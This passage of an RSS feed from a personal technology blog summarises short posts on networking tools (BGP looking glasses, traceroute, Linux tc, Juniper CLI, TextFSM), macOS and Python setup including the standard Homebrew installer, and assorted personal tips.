      <description>&lt;p&gt;Note: Instructions for creating python virtual environments in Visual Studio Code can be found &lt;a href=&#34;https://jasonmurray.org/posts/2020/vscodepythonvenv/&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Open the terminal and type &lt;code&gt;pip install infoblox-client&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/vscodepipinstall.png&#34; alt=&#34;vscode install infoblox-client&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Creating and using a Python virtual environment in Visual Studio Code</title>
      <link>https://jasonmurray.org/posts/2020/vscodepythonvenv/</link>
      <pubDate>Mon, 18 May 2020 13:15:16 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/vscodepythonvenv/</guid>
      <description>&lt;p&gt;Python &lt;a href=&#34;https://docs.python.org/3/library/venv.html&#34;&gt;virtual environments&lt;/a&gt; allow developers to separate projects so that libraries do not conflict and projects can maintain separation with each other. Visual Studio Code makes it easy to create and switch between these environments. &lt;/p&gt;&#xA;&lt;p&gt;First, create a new workspace (directory) for each unique Python virtual environment:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/vspyopenworkspace.png&#34; alt=&#34;vscode settings&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Create a new folder (directory):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/vspynewfolder.png&#34; alt=&#34;vscode settings&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Create a new python file: &lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/vspynewfile.png&#34; alt=&#34;vscode settings&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Save the file with a &lt;code&gt;.py&lt;/code&gt; extension:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/vspysavenewpy.png&#34; alt=&#34;vscode settings&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Installing python3 on macOS using Homebrew (don&#39;t use the system version)</title>
      <link>https://jasonmurray.org/posts/2020/python3macos/</link>
      <pubDate>Sun, 17 May 2020 07:46:39 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/python3macos/</guid>
      <description>&lt;p&gt;I recommend avoiding the version of python that comes preinstalled on macOS for the following reasons:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is not the latest version&lt;/li&gt;&#xA;&lt;li&gt;Older releases of macOS do not have python3&lt;/li&gt;&#xA;&lt;li&gt;Adding packages / libraries may break system functionality&lt;/li&gt;&#xA;&lt;li&gt;Separation of development vs. system&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;One of the easiest ways to install and manage the latest version of python3, and other software, is to use the &lt;a href=&#34;https://brew.sh&#34;&gt;Homebrew&lt;/a&gt; package manager.&lt;/p&gt;&#xA;&lt;p&gt;Install Homebrew:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;/bin/bash -c &amp;#34;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)&amp;#34;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Install python3:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Swapping the control and caps lock key in OSX</title>
      <link>https://jasonmurray.org/posts/2020/swapcapsosx/</link>
      <pubDate>Sat, 16 May 2020 10:45:27 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/swapcapsosx/</guid>
      <description>&lt;p&gt;To swap the &lt;code&gt;control&lt;/code&gt; and &lt;code&gt;caps lock&lt;/code&gt; keys in OSX enter &lt;code&gt;system preferences -&amp;gt; keyboard -&amp;gt; modifier keys&lt;/code&gt;:&#xA;&lt;img src=&#34;https://jasonmurray.org/images/swapcapsbefore.png&#34; alt=&#34;caps before&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Swap the &lt;code&gt;control&lt;/code&gt; and &lt;code&gt;caps locks&lt;/code&gt; settings:&#xA;&lt;img src=&#34;https://jasonmurray.org/images/swapcapsafter.png&#34; alt=&#34;caps after&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Why swap the control and caps lock key?&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I use the control key more than the caps lock key (&lt;code&gt;vi&lt;/code&gt; is my editor of choice).&lt;/li&gt;&#xA;&lt;li&gt;The original control key is difficult to press with your fingers on the home row keys.&lt;/li&gt;&#xA;&lt;li&gt;I started my career using a Sun keyboard, where control and caps lock were already in the proper position.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Fingers and hand have to stretch to reach the control key:&#xA;&lt;img src=&#34;https://jasonmurray.org/images/origcontrol.JPG&#34; alt=&#34;original control&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using refresh on the Juniper CLI to repeat a command</title>
      <link>https://jasonmurray.org/posts/2020/juniperrepeat/</link>
      <pubDate>Fri, 15 May 2020 10:29:02 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/juniperrepeat/</guid>
      <description>&lt;p&gt;Juniper CLI commands can be piped to &lt;code&gt;| refresh&lt;/code&gt; in order to repeat the same action at a specific interval:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@900w-mmr-wu-rt-0&amp;gt; show interfaces ge-1/1/0 extensive | match err | refresh 5&#xA;---(refreshed at 2020-05-15 10:27:04 CDT)---&#xA;  Link-level type: Ethernet, MTU: 1514, MRU: 1522, LAN-PHY mode, Speed: 1000mbps, BPDU Error: None, MAC-REWRITE Error: None, Loopback: Disabled, Source filtering: Disabled,&#xA;  Input errors:&#xA;    Errors: 0, Drops: 0, Framing errors: 0, Runts: 0, Policed discards: 0, L3 incompletes: 0, L2 channel errors: 0, L2 mismatch timeouts: 0, FIFO errors: 0,&#xA;    Resource errors: 0&#xA;  Output errors:&#xA;    Carrier transitions: 0, Errors: 0, Drops: 0, Collisions: 0, Aged packets: 0, FIFO errors: 0, HS link CRC errors: 0, MTU errors: 2960, Resource errors: 0&#xA;    CRC/Align errors                         0                0&#xA;    FIFO errors                              0                0&#xA;    Total errors                             0                0&#xA;    Output packet error count                                 0&#xA;      Addresses, Flags: Is-Preferred Is-Primary&#xA;---(refreshed at 2020-05-15 10:27:09 CDT)---&#xA;  Link-level type: Ethernet, MTU: 1514, MRU: 1522, LAN-PHY mode, Speed: 1000mbps, BPDU Error: None, MAC-REWRITE Error: None, Loopback: Disabled, Source filtering: Disabled,&#xA;  Input errors:&#xA;    Errors: 0, Drops: 0, Framing errors: 0, Runts: 0, Policed discards: 0, L3 incompletes: 0, L2 channel errors: 0, L2 mismatch timeouts: 0, FIFO errors: 0,&#xA;    Resource errors: 0&#xA;  Output errors:&#xA;    Carrier transitions: 0, Errors: 0, Drops: 0, Collisions: 0, Aged packets: 0, FIFO errors: 0, HS link CRC errors: 0, MTU errors: 2960, Resource errors: 0&#xA;    CRC/Align errors                         0                0&#xA;    FIFO errors                              0                0&#xA;    Total errors                             0                0&#xA;    Output packet error count                                 0&#xA;      Addresses, Flags: Is-Preferred Is-Primary&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Using public route servers and looking glass(es) to validate BGP prefix announcements</title>
      <link>https://jasonmurray.org/posts/2020/routeserver/</link>
      <pubDate>Thu, 14 May 2020 10:35:33 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/routeserver/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://www.routeservers.org/&#34;&gt;Public route servers&lt;/a&gt; and &lt;a href=&#34;https://www.google.com/search?q=bgp+looking+glass&amp;amp;oq=bgp+looking+glass&#34;&gt;BGP looking glass(es)&lt;/a&gt; are used to validate BGP announcements.  These tools are helpful to validate BGP changes are working as expected across the public Internet.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ telnet router-server.he.net&#xA;&#xA;route-server&amp;gt; show bgp ipv4 128.252.0.0/16&#xA;BGP routing table entry for 128.252.0.0/16&#xA;Paths: (23 available, best #11, table Default-IP-Routing-Table)&#xA;  Not advertised to any peer&#xA;  20115 2552 2552 2552&#xA;    216.66.24.70 from 216.218.252.82 (216.218.252.169)&#xA;      Origin IGP, metric 0, localpref 140, valid, internal&#xA;      Originator: 216.218.252.169, Cluster list: 216.218.252.82 216.218.252.184&#xA;      Last update: Wed Apr 29 15:57:23 2020&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Web based looking glass from Internet2:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using passive DNS to track down CDN traffic</title>
      <link>https://jasonmurray.org/posts/2020/passivedns/</link>
      <pubDate>Wed, 13 May 2020 12:38:41 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/passivedns/</guid>
      <description>&lt;p&gt;Passive DNS is a historical log of DNS queries and the corresponding answers.  This is helpful when reverse DNS does not return the original DNS query, for example:&lt;/p&gt;&#xA;&lt;p&gt;Looking up the host &lt;code&gt;download.windowsupdate.com&lt;/code&gt; returns a number of IP addresses:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ host download.windowsupdate.com&#xA;download.windowsupdate.com is an alias for 2-01-3cf7-0009.cdx.cedexis.net.&#xA;2-01-3cf7-0009.cdx.cedexis.net is an alias for download.windowsupdate.com.edgesuite.net.&#xA;download.windowsupdate.com.edgesuite.net is an alias for a767.dspw65.akamai.net.&#xA;a767.dspw65.akamai.net has address 23.223.197.56&#xA;a767.dspw65.akamai.net has address 23.223.197.10&#xA;a767.dspw65.akamai.net has address 23.223.197.24&#xA;a767.dspw65.akamai.net has IPv6 address 2600:1407:a000::1730:d118&#xA;a767.dspw65.akamai.net has IPv6 address 2600:1407:a000::1730:d113&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Turning the IP address back into the &lt;code&gt;download.windowsupdate.com&lt;/code&gt; is the problem.  Instead of returning &lt;code&gt;download.windowsupdate.com&lt;/code&gt;, an Akamai record is returned:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Network path tracing commands</title>
      <link>https://jasonmurray.org/posts/2020/networktrace/</link>
      <pubDate>Tue, 12 May 2020 07:30:52 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/networktrace/</guid>
      <description>&lt;h2 id=&#34;description&#34;&gt;Description&lt;/h2&gt;&#xA;&lt;p&gt;The Internet is a large and complex aggregation of network hardware, connected by gateways. Tracking the route one’s packets follow (or finding the miscreant gateway that’s discarding your packets) can be difficult.  traceroute use the IP protocol ‘time to live’ field and attempts to elicit an ICMP TIME_EXCEEDED response from each gateway along the path to some host.  (Source: &lt;a href=&#34;https://www.freebsd.org/cgi/man.cgi?query=traceroute&amp;amp;apropos=0&amp;amp;sektion=0&amp;amp;manpath=FreeBSD+12.1-RELEASE+and+Ports&amp;amp;arch=default&amp;amp;format=html&#34;&gt;BSD man page&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Here are several variations, and examples of the traceroute command.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Linux caches MTU path maximum size</title>
      <link>https://jasonmurray.org/posts/2020/linuxmtucache/</link>
      <pubDate>Mon, 11 May 2020 07:29:54 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/linuxmtucache/</guid>
      <description>&lt;p&gt;While troubleshooting a MTU path discovery issue, &lt;code&gt;ping&lt;/code&gt; returned this error message: &lt;code&gt;ping: local error: Message too long, mtu=1500&lt;/code&gt; and &lt;code&gt;tcpdump&lt;/code&gt; stopped logging ICMP packets egressing the interface.&lt;/p&gt;&#xA;&lt;p&gt;Since this issue comes up on occasion and is not well understood, here is a brief explanation.&lt;/p&gt;&#xA;&lt;p&gt;Examine the Linux MTU cache before MTU discovery:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[jemurray@wuit-s-00047 ~]$ sudo ip route get 104.131.191.87&#xA;104.131.191.87 via 128.252.5.114 dev p1p1 src 128.252.5.113&#xA;    cache&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Sending a ping with MTU &amp;lt; 1500 bytes to validate the path is working as expected:&lt;/p&gt;</description>
    </item>
    <item>
      <title>RSS feed reader for daily news and information consumption</title>
      <link>https://jasonmurray.org/posts/2020/rss/</link>
      <pubDate>Sun, 10 May 2020 07:50:18 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/rss/</guid>
      <description>&lt;p&gt;I consume my daily news and information through &lt;a href=&#34;https://reader.miniflux.app/unread&#34;&gt;Miniflux&lt;/a&gt;, the no-frills RSS feed reader.&lt;/p&gt;&#xA;&lt;p&gt;The web interface works well on mobile as well as desktop.&lt;/p&gt;&#xA;&lt;p&gt;Fever API integration is available to support alternative reader clients.&lt;/p&gt;&#xA;&lt;p&gt;Example feed:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/miniflux.png&#34; alt=&#34;miniflux&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;soapbox&amp;gt;&lt;/code&gt;&#xA;Why RSS? The Internet is designed to be decentralized, with the rise of large social platforms this concept is being eroded.  Don&amp;rsquo;t get me wrong, I  believe companies like Facebook and Twitter have their place as excellent platforms to connect with friends and family, but I don&amp;rsquo;t want them to be the &lt;strong&gt;only&lt;/strong&gt; platforms to consume information.  Curate your own knowledge sources and avoid the echo chamber we are slowly being lulled into.&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;/soapbox&amp;gt;&lt;/code&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using goaccess to analyze web server log files from the CLI</title>
      <link>https://jasonmurray.org/posts/2020/goaccess/</link>
      <pubDate>Sat, 09 May 2020 17:55:43 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/goaccess/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://goaccess.io/&#34;&gt;Goaccess&lt;/a&gt; is a real time CLI based web server log file analysis tool:&lt;/p&gt;&#xA;&lt;p&gt;Start goaccess:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ goaccess /var/log/nginx/access.log&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Example screeen shot:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/goaccess.png&#34; alt=&#34;goaccess&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>DIY refilling a Lysol No-Touch dispenser</title>
      <link>https://jasonmurray.org/posts/2020/lysolrefill/</link>
      <pubDate>Fri, 08 May 2020 12:08:04 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/lysolrefill/</guid>
      <description>&lt;p&gt;A simple DIY method to refill a Lysol No-Touch soap dispenser.&lt;/p&gt;&#xA;&lt;p&gt;Tools and bulk refill soap:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/lysoltools.JPG&#34; alt=&#34;tools&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Step one, drill the hole.  Unlike the picture below, it is best to do this upside down so that debris does not fall into the container.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/lysoldrill.JPG&#34; alt=&#34;tools&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Step two, examine the hole and clean up any loose parts.  I would recommend washing out the container to remove any loose parts that fell in during the drilling.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Template for taking notes during a meeting</title>
      <link>https://jasonmurray.org/posts/2020/meetingtemplate/</link>
      <pubDate>Thu, 07 May 2020 11:12:25 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/meetingtemplate/</guid>
      <description>&lt;p&gt;Here is the default meeting note template I use in &lt;a href=&#34;https://www.onenote.com/&#34;&gt;OneNote&lt;/a&gt; and &lt;a href=&#34;https://evernote.com/&#34;&gt;EverNote&lt;/a&gt;.  It has evolved over several years, but this version has stuck for a significant time.   It allows for searches based on attendees, topics, dates, agenda, etc.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Date:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Typically filled in by the note-taking system (OneNote, EverNote, etc)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Scheduler / Requester:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The person who requested or schedule the meeting&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Participants:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Full list of participants and any relevant information about them.&lt;/li&gt;&#xA;&lt;li&gt;For example, title, department, vendor, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Agenda / Goals:&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>The ordering of OmniGraffle stacks on the canvas</title>
      <link>https://jasonmurray.org/posts/2020/omnigrafflelayers/</link>
      <pubDate>Wed, 06 May 2020 12:47:00 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/omnigrafflelayers/</guid>
      <description>&lt;p&gt;The order of layers in the right-hand column of &lt;a href=&#34;https://www.omnigroup.com/omnigraffle/&#34;&gt;OmniGraffle&lt;/a&gt; influences the stack order displayed on the canvas:&lt;/p&gt;&#xA;&lt;p&gt;In the first example, the layer order is 1, 2, 3.  This puts layer 1 on the top, layer 2 in the middle, and layer 3 on the bottom:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/layer123.png&#34; alt=&#34;Layer 123&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the second example, the layer order is 3, 2, 1.  This puts layer 3 on the top, layer 2 in the middle, and layer 1 on the bottom:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using Python TextFSM to retrieve structured output from Cisco devices</title>
      <link>https://jasonmurray.org/posts/2020/textfsm/</link>
      <pubDate>Tue, 05 May 2020 16:40:31 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/textfsm/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://www.cisco.com/&#34;&gt;Cisco&amp;rsquo;s&lt;/a&gt; lack of a robust API or the ability to return structured output from the CLI is a challenge when trying to automate networking configuration or retrieve telemetry information.&lt;/p&gt;&#xA;&lt;p&gt;The Python module &lt;a href=&#34;https://github.com/google/textfsm&#34;&gt;TextFSM&lt;/a&gt; attempts to resolve this deficiency by executing commands via the CLI and returning structured JSON formatted output.&lt;/p&gt;&#xA;&lt;p&gt;Example Python script:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#!/usr/local/bin/python3&#xA;&#xA;from netmiko import Netmiko&#xA;from getpass import getpass&#xA;import pprint&#xA;&#xA;password = getpass()&#xA;&#xA;output = []&#xA;&#xA;net_connect = Netmiko(host=&amp;#34;192.168.1.1&amp;#34;, username=&amp;#34;jemurray&amp;#34;, password=password, device_type=&amp;#34;cisco_ios&amp;#34;)&#xA;&#xA;net_connect.find_prompt()&#xA;&#xA;output.append(net_connect.send_command(&amp;#34;show version&amp;#34;, use_textfsm=True))&#xA;output.append(net_connect.send_command(&amp;#34;show interface GigabitEthernet1/0/1&amp;#34;, use_textfsm=True))&#xA;output.append(net_connect.send_command(&amp;#34;show interface GigabitEthernet1/0/12&amp;#34;, use_textfsm=True))&#xA;output.append(net_connect.send_command(&amp;#34;show vlan id 120&amp;#34;, use_textfsm=True))&#xA;&#xA;&#xA;for i in output:&#xA;    pp = pprint.PrettyPrinter(indent=4)&#xA;    pp.pprint(i)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Returned output:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Linux Traffic Control</title>
      <link>https://jasonmurray.org/posts/2020/tc/</link>
      <pubDate>Mon, 04 May 2020 18:31:46 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/tc/</guid>
      <description>&lt;p&gt;Using the &lt;code&gt;tc&lt;/code&gt; (traffic control) utility in Linux, it is possible to simulate various network conditions, such as latency, packet loss, random conditions, etc.&lt;/p&gt;&#xA;&lt;h2 id=&#34;list-existing-tc-rules&#34;&gt;List existing &lt;code&gt;tc&lt;/code&gt; rules:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;sudo /usr/sbin/tc -p qdisc ls dev eth0&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;delete-existing-tc-rules&#34;&gt;Delete existing &lt;code&gt;tc&lt;/code&gt; rules:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;sudo /usr/sbin/tc -p qdisc del dev eth0 root&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;add-vs-change&#34;&gt;Add vs. Change&lt;/h2&gt;&#xA;&lt;p&gt;If a rule does not already exist, use the add command option:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;sudo /usr/sbin/tc qdisc add dev eth0 root netem delay 10ms&lt;/code&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to take a wide screen video on a cell phone</title>
      <link>https://jasonmurray.org/posts/2020/cellphonevideo/</link>
      <pubDate>Sun, 03 May 2020 12:52:00 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/cellphonevideo/</guid>
      <description>&lt;p&gt;All modern television and computer displays are wide screen. When using a cell phone camera you must hold it horizonal to properly fill the screen.&lt;/p&gt;&#xA;&lt;p&gt;Hold the camera hoizonal:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/iphonehorizontal.JPG&#34; alt=&#34;iPhone Wide&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;So that the video fills the screen:&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/IY3qL7zR70U?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;Don&amp;rsquo;t hold the camera vertical:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/iphonevertical.JPG&#34; alt=&#34;iPhone Vertical&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>About This Site</title>
      <link>https://jasonmurray.org/pages/about/</link>
      <pubDate>Sat, 02 May 2020 14:37:20 -0500</pubDate>
      <guid>https://jasonmurray.org/pages/about/</guid>
      <description>&lt;h2 id=&#34;about-jason-e-murray&#34;&gt;About Jason E. Murray&lt;/h2&gt;&#xA;&lt;h3 id=&#34;me&#34;&gt;Me:&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2023-12-23-22-55-56.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2023-12-23-22-55-56.png&#34; alt=&#34;Image of Jason Murray &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am a father of two, technology pioneer, and lover of life.  Everyday I work in some way to improve the lives of the people around me, the Internet, cyber security, and make the world a little bit better than I left it.&lt;/p&gt;&#xA;&lt;p&gt;From the age of 10, I grew up in an online world, dialing into text-based &lt;a href=&#34;https://en.wikipedia.org/wiki/Bulletin_board_system&#34;&gt;BBSes&lt;/a&gt;, &lt;a href=&#34;https://en.wikipedia.org/wiki/CompuServe&#34;&gt;CompuServe&lt;/a&gt;, and &lt;a href=&#34;https://aol.com&#34;&gt;AOL&lt;/a&gt;. It didn&amp;rsquo;t take long until my parents IBM PS2 and a dedicated phone line turned into a small-time &lt;a href=&#34;https://en.wikipedia.org/wiki/WWIV&#34;&gt;WWIV BBS&lt;/a&gt;. I spent all my free-time learning about BBSes and what would soon become the public Internet.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Search</title>
      <link>https://jasonmurray.org/pages/search/</link>
      <pubDate>Sat, 02 May 2020 14:37:20 -0500</pubDate>
      <guid>https://jasonmurray.org/pages/search/</guid>
      <description>&lt;script async src=&#34;https://cse.google.com/cse.js?cx=002628345734486743321:hm00ksbqggw&#34;&gt;&lt;/script&gt;&#xA;&lt;div class=&#34;gcse-search&#34;&gt;&lt;/div&gt;&#xA;&lt;iframe src=&#34;https://duckduckgo.com/search.html?site=https://jasonmurray.org/&amp;prefill=Search DuckDuckGo&#34; style=&#34;overflow:hidden;margin:0;padding:0;width:408px;height:40px;&#34; frameborder=&#34;0&#34;&gt;&lt;/iframe&gt;</description>
    </item>
    <item>
      <title>Using BGP to prefer Internet2 Connected Peers</title>
      <link>https://jasonmurray.org/posts/2020/internet2prefer/</link>
      <pubDate>Sat, 02 May 2020 10:22:58 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/internet2prefer/</guid>
      <description>&lt;p&gt;Many universities and research institutions are connected to &lt;a href=&#34;https://www.internet2.edu/&#34;&gt;Internet2&lt;/a&gt;, a high-speed network that is similar to the commodity &lt;a href=&#34;https://en.wikipedia.org/wiki/Internet&#34;&gt;Internet&lt;/a&gt; but designed to support &lt;a href=&#34;https://fasterdata.es.net/science-dmz/&#34;&gt;large data science network transfers&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;By using &lt;a href=&#34;https://tools.ietf.org/html/rfc4271&#34;&gt;BGP&lt;/a&gt;, institutions connected to &lt;a href=&#34;https://www.juniper.net/documentation/en_US/junos/topics/reference/general/routing-protocols-address-representation.html&#34;&gt;multiple service providers and Internet2&lt;/a&gt; can define policies that prefer prefixes learned over Internet2 peerings.&lt;/p&gt;&#xA;&lt;h2 id=&#34;influencing-outbound-traffic-using-local-preference&#34;&gt;Influencing Outbound Traffic using Local-Preference&lt;/h2&gt;&#xA;&lt;p&gt;This section provides configuration examples of &lt;code&gt;local-preference&lt;/code&gt; as the mechanism used to influence outbound traffic to prefer Internet2 connected peers over commodity Internet-connected peers.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Mosh (mobile shell) as a replacement for traditional SSH sessions</title>
      <link>https://jasonmurray.org/posts/2020/mosh/</link>
      <pubDate>Fri, 01 May 2020 15:32:03 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/mosh/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://mosh.org/&#34;&gt;Mosh&lt;/a&gt; is used as a replacement for interactive SSH sessions.   It converts the standard ssh session from TCP to UDP, allowing for stateless roaming, changing IP address in an active remote session, and resuming a session after traveling from work to home.  It&amp;rsquo;s more robust and responsive, especially over Wi-Fi, cellular, and long-distance links.&lt;/p&gt;&#xA;&lt;p&gt;Install on a MAC: &lt;code&gt;brew install mosh&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/mosh.gif&#34; alt=&#34;Mosh Terminal&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For iOS (iPad, iPhone), I use &lt;a href=&#34;https://blink.sh/&#34;&gt;Blink Shell&lt;/a&gt; with built-in Mosh support. This works well when traveling light and connected to a cellular hotspot.  No need to worry about spotty signals or dropped connections.  Mosh will automatically reconnect.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Simple web based file transfer utility based on WebRTC</title>
      <link>https://jasonmurray.org/posts/2020/webwormhole/</link>
      <pubDate>Thu, 30 Apr 2020 12:03:20 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/webwormhole/</guid>
      <description>&lt;p&gt;Simple method to transfer a file from one device to another: &lt;a href=&#34;https://webwormhole.io/&#34;&gt;https://webwormhole.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Desktop view:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/webwormholedesktop.png&#34; alt=&#34;Desktop&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mobile view while transfering a photo to the desktop:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/webwormholeiphone.png&#34; alt=&#34;iPhone&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Obligatory &lt;a href=&#34;https://xkcd.com/949/&#34;&gt;xkdc&lt;/a&gt; on this topic:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/file_transfer.png&#34; alt=&#34;File Transfer&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/saljam/webwormhole&#34;&gt;Git&lt;/a&gt; Repo.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Covert epoch to a human readable format using awk</title>
      <link>https://jasonmurray.org/posts/2020/epochawk/</link>
      <pubDate>Wed, 29 Apr 2020 15:39:46 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/epochawk/</guid>
